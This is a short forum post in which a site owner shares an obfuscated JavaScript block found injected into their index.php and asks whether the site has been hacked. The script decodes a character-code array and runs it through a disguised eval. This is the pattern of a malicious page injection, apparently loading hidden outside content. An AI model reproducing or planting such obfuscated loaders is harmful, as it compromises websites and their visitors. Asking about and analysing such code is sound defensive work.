What this script means - Javascript
===

    <script>
    try{1-prototype;}catch(asd){x=2;}if(x){fr="fromChar";
     f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92
     ,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29
    ,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,
    95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,
    105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,1
    06,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103
    ,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48
    ,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,
    37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1
    ,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1];
    v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;286-5+5-
    i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}if(x&&f&&012===10)e(s);
    </script>

Dont what this script does but yesterday i found this on my web index.php page. Which actually making the site not to display.

Is it something dangerous, like someone hacked my site or something?

Let me know if any one got any idea about this.

Regards

Fahid Mohammad